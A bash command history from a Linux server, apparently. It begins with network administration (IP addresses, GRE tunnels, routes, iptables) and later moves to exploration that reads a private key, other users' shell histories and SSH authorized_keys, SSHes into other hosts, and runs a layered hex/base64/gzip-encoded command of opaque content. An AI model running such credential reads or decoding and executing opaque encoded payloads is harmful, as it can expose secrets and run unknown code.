527  mtr -tn 206.72.206.194
528  ip addr
529  vim route-inter2ll
530  ip addr
531  ip route
532  ip route | sort
533  ip addr
534  for i in {194..206}; do ip addr del 206.72.206.$i/28 dev eth0; done
535  ip addr
536  exit
537  cd /var/named
538  ls
539  cat yytuo.com.db
540  exit
541  ip route
542  mtr 206.72.206.194
543  ip addr
544  cat /etc/sysconfig/network-scripts/route-inter2ll
545  for i in {194..206}; do ip addr del 206.72.206.$i/32 dev eth0; done
546  ip addr
547  for i in {194..206}; do ip addr del 206.72.206.$i/28 dev eth0; done
548  ip addr
549  cat /etc/sysconfig/network-scripts/route-inter2ll
550  ip addr del 66.45.232.99/29 dev eth0
551  ip addr del 66.45.232.102/29 dev eth0
552  ip addr
553  exit
554  cd /var/named
555  ls
556  ll
557  vim /etc/named.conf
558  ip addr
559  ip route
560  vim /etc/named.conf
561  cat citytoobs.com.db
562  ls
563  dig -t any imustpossess.com
564  whois imustpossess.com
565  exit
```

```
566  cd /var/named
567  ls
568  ll
569  ip addr
570  ip route
571  ip route | grep inter2ll
572  ip route | grep inter2ll | sort
573  ping 10.6.201.2
574  ping 10.6.201.1
575  ip link
576  exit
577  ip addr
578  ip route
579  ip addr add 206.72.206.197/32 dev eth0
580  ip addr del 206.72.206.197/32 dev eth0
581  ls
582  ip addr
583  exit
584  cd /etc/sysconfig/network-scripts/
585  ls
586  cat route-inter2ll
587  cp route-inter2ll route-inter2cet
588  vim route-inter2cet
589  ls
590  cp ifcfg-inter2ll ifcfg-inter2cet
591  vim ifcfg-inter2cet
592  ifup inter2cet
593  ip addr
594  ip route
595  ip route | sort
596  ip route del 206.72.206.198 dev inter2ll
597  ip route add 206.72.206.198 dev inter2cet
598  ip addr
599  ip route | sort
600  ping 10.11.201.1
601  ping 10.11.201.2
602  ping 10.11.201.2exit
603  exit
604  ip addr
605  cd /etc/sysconfig/network-scripts/
606  ls
607  cat route-inter2ll
608  exit
609  cd /etc/sysconfig/network-scripts/
610  ls
611  ifdown ifcfg-inter2ll
612  vi ifcfg-inter2ll
613  ifup ifcfg-inter2ll
614  ip ro
615  ip tun
616  service network restart
617  ls
618  cat ifcfg-eth0-range0
```

```
619  cat route-inter2ll
620  ifdown ifcfg-eth0-range0
621  ifdown ifcfg-eth0-range1
622  ip addr show
623  ls
624  cat ifcfg-eth0
625  cp ifcfg-eth0-range0 bakifcfg-eth0-range0
626  cp ifcfg-eth0-range1 bakifcfg-eth0-range1
627  ls
628  rm ifcfg-eth0-range1
629  rm ifcfg-eth0-range0
630  ls
631  service network restart
632  ip addr show
633  ls
634  sysctl -p
635  ip ro
636  ls
637  cat ifcfg-inter2ll
638  cat route-inter2cet
639  cat route-inter2ll
640  ip tun
641  sysctl -p
642  cat /etc/redhat-release
643  cat ifcfg-inter2ll
644  exit
645  cd /etc/sysconfig/network-scripts/
646  ls
647  ip route
648  ip link
649  ip route | grep inter2ll
650  ip addr
651  ifdown inter2ll
652  ip route
653  ip addr del 206.72.206.206/28 dev eth0
654  ip addr add 206.72.206.206/28 dev eth0
655  ip addr del 206.72.206.206/28 dev eth0
656  ip tunnel add inter2ben mode gre local 66.45.232.98 remote 66.165.231.50
657  ip link set inter2ben up
658  ip addr
659  ip addr add dev inter2ben 10.99.99.2/32 peer 10.99.99.1/32
660  ip addr
661  ping 10.99.99.1
662  ping 10.99.99.2
663  ip route add 206.72.206.206/32 dev inter2ben
664  ip tunnel
665  ip route
666  ip link set inter2ben down
667  ip tunnel del inter2ben
668  ip tunnel
669  ip tunnel add inter2ben mode gre local 66.45.232.98 remote 66.165.231.50 ttl 225
670  ip link set inter2ben up
671  ip addr add 10.99.99.2/32 peer 10.99.99.1/32 dev inter2ben
```

```
672  ip route add 206.72.206.206/32 dev inter2ben
673  ip addr
674  ip -4 route
675  lsmod | grep ip_gre
676  modprobe ip_gre
677  sysctl -a
678  cat /etc/sysctl.conf
679  iptables -L -n
680  ip route
681  ip neigh
682  ip tunnel
683  ip route
684  ip addr
685  ifup inter2ll
686  ip tunnel
687  ip addr
688  ping 10.6.201.2
689  ping 10.6.201.1
690  ip route
691  ip tunnel del inter2ben
692  ip route
693  cat route-inter2ll
694  ip route add 206.72.206.206/32 dev inter2ll
695  exit
696  ip tun show
697  ip ro
698  ls
699  ping 10.99.99.1
700  ip ro | grep ben
701  sysctl -p
702  ip addr show
703  ip addr add 206.72.206.206/32 dev eth0
704  ip addr del 206.72.206.206/32 dev eth0
705  sysctl -p
706  ip ro
707  ip tun show
708  service iptables status
709  service iptables stop
710  service iptables start
711  exit
712  ip addr
713  iptables -L -n
714  iptables -A OUTPUT -p icmp --icmp-type destination-unreachable -j DROP
715  iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP
716  iptables -A OUTPUT -p icmp --icmp-type 8 -j DROP
717  cat /etc/sysconfig/iptables-config
718  iptables -L -n
719  sudo service iptables stop
720  iptables -A OUTPUT -p icmp --icmp-type destination-unreachable -j DROP
721  sudo service iptables stop
722  cd
723  ls
724  ll
```

```
725  cd tmp
726  ls
727  yum search python 2.7
728  iptables -L -n
729  ip route
730  cd /etc/sysconfig/network-scripts/
731  ls
732  cat route-inter2ll
733  ip addr
734  awk '{print$1}' route-inter2ll | sed 's/\/32$//g'
735  awk '{print$1}' route-inter2ll | sed 's/\/32$//g' | while read -r line; echo ip addr del $line dev eth0; done
736  awk '{print$1}' route-inter2ll | sed 's/\/32$//g' | while read -r line; do echo ip addr del $line dev eth0; done
737  awk '{print$1}' route-inter2ll | sed 's/\/32$//g' | while read -r line; do ip addr del $line dev eth0; done
738  ip addr
739  ip route
740  ls
741  ifdown inter2ll && ifup inter2ll
742  ip route
743  exit
744  cd /root
745  ls -la
746  cd backup
747  ls
748  cd ..
749  cd dns_configs/
750  ls
751  cat add_dmarc.sh
752  ls -la
753  cat dmarc.zone.db
754  cd zones
755  ls
756  ls -la
757  cd ..
758  cd ..
759  ls
760  cd /
761  ls
762  cd admin
763  ls
764  cat rc.local
765  cat stress
766  ls /
767  cd cgroup
768  ls
769  cat ./rc.grsec
770  cat shell.db
771  cd /
772  ls
773  cd /home
774  ls
775  cd /mnt
776  ls
777  cd /dev
```

```
778  ls
779  mount -o ro, /dev/sda5 /mnt
780  mount -o ro, /dev/sda4 /mnt
781  mount -o ro, /dev/sda3 /mnt
782  cd /tmp
783  ls
784  cat ks-script-yKuwhO
785  cd /bar
786  cd /var
787  cat /root/.bash_history
788  ping 10.6.201.1
789  tracepath 10.6.201.1
790  ls
791  cd named
792  ls
793  ls -la
794  cat zeery.com.db
795  cat wellspringdepot.com.db
796  ls
797  cd ..
798  ls
799  cd cvs
800  ls
801  cd ..
802  cd log
803  ls
804  cd ..
805  cd /
806  ls
807  ls -la
808  cd opt
809  ls
810  cd rh
811  ls
812  cd /
813  cd usr
814  ls
815  cd tmp
816  ls
817  cd ..
818  cd local
819  ls
820  cd bin
821  ls
822  cd ..
823  cd sbin
824  ls
825  cd ..
826  cd share
827  ls
828  cd applications
829  ls
830  cd /
```

```
 831  ls
 832  cd /dev
 833  ls
 834  mount -o ro, /dev/sda3 /mnt
 835  mount -o ro, /dev/sda2 /mnt
 836  mount -o ro, /dev/sda1 /mnt
 837  mount -o ro, /dev/ram0 /mnt
 838  mount
 839  mountallfs
 840  mountall-fs
 841  mount -a
 842  mount
 843  cd /sys
 844  ls
 845  cd hypervisor
 846  ls
 847  cd ..
 848  cd ..
 849  cd /proc/sys/fs/binfmt_misc
 850  ls
 851  cd status
 852  cat status
 853  cd /dev/shm
 854  ls
 855  cd /
 856  ls
 857  cd media
 858  ls
 859  cd ..
 860  echo
'626173653634202D643C3C3C596D467A5A5459304943316B504477385344527A53554E4D63334A5862474E4251544A6B646C6
C59556E706155554E5762457831645764365155316F646D4D3461474A6A52464E5052446C4552325A775954466E6555524A615
64A4255566C4861544A6A4C326C53543051774D5746786257644765537464D4C7A5134644559796330314253305572655864335
55864495A456F7656316C5A53485A5364464E49526C5A45626C5A4B4D56564C4C31453359545670613152 4E563078325256647
84D5868534D6C55304E555261576B64594D6D45344B7A6B33513035794E584278556C6856553163316158 5A4353314A566345
6C725648426C4D69746164316C355A314668576E637A5347785554573542 5A6C67725A5751325558706C59564676546B567156
5767724E4856735447677A5932303561335671655555A445745637962556C6853485A7665554A6B563263314E6D786E61555654
5A57316D5354524A524642465A4735334D444E36534338315745497955 6B4E4F6556637954305A4956584A5A51544A6162303
568634568445457684C6545527753475676555456314D474531556D6436627A51334D4656704D57784D565668434B33466852
7A684A5646526162336F304D6B6C3059555A4B536C4A6C53455A5355315A7A55316F775744455345 5334E68535739345654566
B627A4A4D5356525861566B3457545531533045346232784E5A336C486245357153565A494C33466A616B6C3456553131536B
4A7253484D32526B4A324E44465362556875565 66779526B3958645870544E6E4E6A6157686A5A5749334F566C3563446C7661
57685A5A4870765353393353 6D397761306832536E4D7751316C6E593256745533557852 31566F4D44684C636E6C4E646D5254
52315A6F4E7A684455477072553 26F794C79397A4C7A52434F55457A64316C6C5755564251554539494877675A335675656D6C
776643423361476C735A53424A526C4D3949484A6C595751674C584A754D53426A4F79426B62794277636D6C75644759674A5
74D6749695237597A6F744A4364636269643949 6A73676332786C5A5841674D4334774D44553749467 3674969526A49694264
4948783849484E735A575677494441754D44553749475276626D554B7C626173680A'|xxd -r -p
 861  base64 -d
```

```
  862  base64 -d
YmFzZTY0IC1kPDw8SDRzSUNMc3JXbGNBQTJkdllYUnpaUUNWbEx1dWd6QU1odmM4aGJjRFNPRDlER2ZwYTFneURJaVJBUVlHaTJj
L2lST0QwMWFxbWdGeStmLzQ4dEYyc01BS0UreXd3UXdIZEovV1lZSHZSdFNIRlZEblZKMVVLL1E3YTVpa1RNV0x2RVdxMXhSMlU0N
URaWkdYMmE4Kzk3Q05yNXBxUlhVU1c1aXZCS1JVcElrVHBlMitad1l5Z1FhWnczSGxUTW5BZlgrZWQ2UXplYVFvTkVqVWgrNHVsTG
gzY205a3VqeUZDWEcybUlhSHZveUJkV2c1NmxnaUVTZW1mSTRJRFBFZG53MDN6SC81WEIyUkNOeVcyT0ZIVXJZQTJab05hcEhDT
WhLeERwSGVvUTV1MGE1Umd6bzQ3MFVpMWxMVVhCK3FhRzhJVFRab3o0Mkl0YUZKSlJlSEZSU1ZzU1owWDU4U3NhSW94VTVk
bzJMSVRXaVk4WTU1S0E4b2xNZ3lHbE5qSVZIL3Fjakl4VU11SkJrSHM2RkJ2NDFSbUhuVVgyRk9XdXpTNnNjaWhjZWI3OVl5cDlvaWh
ZZHpvSS93Sm9wa0h2SnMwQ1lnY2VtU3UxR1VoMDhLcnlNdmRTR1ZoNzhDUGprU2oyLy9zLzRCOUEzd1llWUVBQUE9IHwgZ3Vue
mlwfCB3aGlsZSBJRlM9IHJlYWQgLXJuMSBjOyBkbyBwcmludGYgJWMgIiR7YzotJCdcbid9Ijsgc2xlZXAgMC4wMDU7IFsgIiRjIiBdIHx8IH
NsZWVwIDAuMDU7IGRvbmUK
  863  cd /root
  864  ls -la
  865  ls dns_configs/
  866  cat dns_configs/private.key
  867  cat ./route-inter2cet
  868  ssh admin@66.45.232.99
  869  ssh admin@206.72.206.194
  870  ls
  871  cd backup
  872  ls
  873  locate xr
  874  cd /
  875  locate xr
  876  cd /usr
  877  ls
  878  cd tmp
  879  ls
  880  cd ..
  881  cd local
  882  ls
  883  cd src
  884  ls
  885  cd ..
  886  cd src
  887  ls
  888  cd /
  889  ls
  890  cd boot
  891  ls
  892  cd /
  893  cd admin
  894  ls
  895  ./allips
  896  ./sshkeyme
  897  cd /root
  898  ls
  899  cd ./.ssh
  900  ls
  901  cat authorized_keys2
  902  cat authorized_keys
  903  ls
  904  cd ..
  905  cd ./.ssh
```

```
906 cat known_hosts
907 ssh admin@66.165.231.123
908 who
909 ping justher
910 cd /
911 ls
912 cd tmp
913 ls
914 cd /
915 ls
916 ssh admin@puppet
917 ssh admin@puppet.campaign.pub
918 exit
919 ls -la
920 cat ./.bash_history
921 cd ~
922 ip tunnel
923 netstat -l
924 who
925 tcpdump -q
926 ifconfig
927 tcpdump -q -i inter2ll
928 ssh -v admin@rev.interserver.net
929 ping rev.interserver.net
930 tcpdump -q -i inter2ll -n
931 ssh -v admin@206.72.206.196
932 tcpdump -q -i inter2cet -n
933 ifconfig
934 tcpdump -q -i eth0:2
935 tcpdump -q -i eth0:2 -n
936 tcpdump -q -i eth0:3 -n
937 tcpdump -q -i eth0:3
938 ls -la
939 cd backup/
940 ls
941 cd ..
942 cd dns_configs/
943 ls
944 cat add_dmarc.sh
945 cd ..
946 cd ./.ssh
947 ls
948 cat authorized_keys
949 cat authorized_keys2
950 cat known_hosts
951 cd /sbin
952 ls
953 fdisk -l
954 mount
955 cd /mnt
956 cd ..
957 mount /dev/sda2 /mnt
958 mount /dev/sda4 /mnt
```

```
 959  mount -t ext4 /dev/sda4 /mnt
 960  mount -t ext3 /dev/sda4 /mnt
 961  dmesg | tail
 962  cd /dev
 963  ls
 964  fdisk
 965  mount /dev/sg0 /mnt
 966  mount -t ext4 /dev/sg0 /mnt
 967  cd block
 968  ls
 969  cd /etc
 970  ls
 971  cat ./rc
 972  cd /sbin
 973  ls
 974  modprobe
 975  modprobe --help
 976  vgscan
 977  pvscan
 978  status
 979  ps -A
 980  cd /usr
 981  ls
 982  cd bin
 983  ls
 984  cd ..
 985  cd sbin
 986  ls
 987  cd ..
 988  ls
 989  cd local
 990  ls
 991  cd bin
 992  ls
 993  cd ..
 994  cd sbin
 995  ls
 996  cd ..
 997  cd ..
 998  cd share
 999  ls
1000  exit
1001  last
1002  history
```